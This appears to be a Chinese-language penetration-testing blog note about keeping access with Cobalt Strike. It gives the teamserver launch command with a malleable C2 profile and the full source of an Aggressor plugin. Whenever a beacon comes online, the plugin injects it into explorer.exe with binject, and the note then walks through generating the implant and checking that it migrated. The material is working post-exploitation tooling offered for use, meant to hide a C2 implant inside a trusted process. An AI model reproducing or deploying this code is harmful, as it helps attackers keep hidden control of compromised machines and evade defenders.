【渗透测试笔记】之【内网渗透——CS权限维持：CS上线后进程自迁移插件】

1. 服务端加载malleable配置文件

1.1 下载

下载地址：https://github.com/threatexpress/malleable-c2

下载cs对应版本配置文件：

我这里下载4.3版本的。

1.2 加载配置文件

下载完后放入CS根目录：

加载配置文件启动方式，只需要在末尾跟上配置文件就可以了：

./teamserver 192.168.8.48 aa8j jquery-c2.4.3.profile

2. 客户端加载cna插件

2.1 插件下载

下载地址：https://github.com/AA8j/SecTools/tree/main/CS/AutoProcessMigration

或者直接复制源码：

AutoProcessMigration.cna

on beacon_initial{
	sub callback{
		$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
		# 要迁移的进程
		$listener = "test";
		# 回连的监听器名字
		if ($2 ismatch $regex){
			$pid = matched()[1];
			$inject_pid = $pid;
			if (-is64 $1){
				$arch = "x64";
			}
			else{
				$arch = "x86";
			}
			binject($1, $pid, $listener, $arch);
		}
	}
	if($inject_pid != beacon_info($1,"pid")){
		bps($1, &callback);
	}
}

2.2 插件加载

3. 测试

创建监听器（注意：所有seesion的自迁移都会回连这个监听器）：

生成cs马：

上线测试：

等待一会后成功自迁移到explorer.exe进程：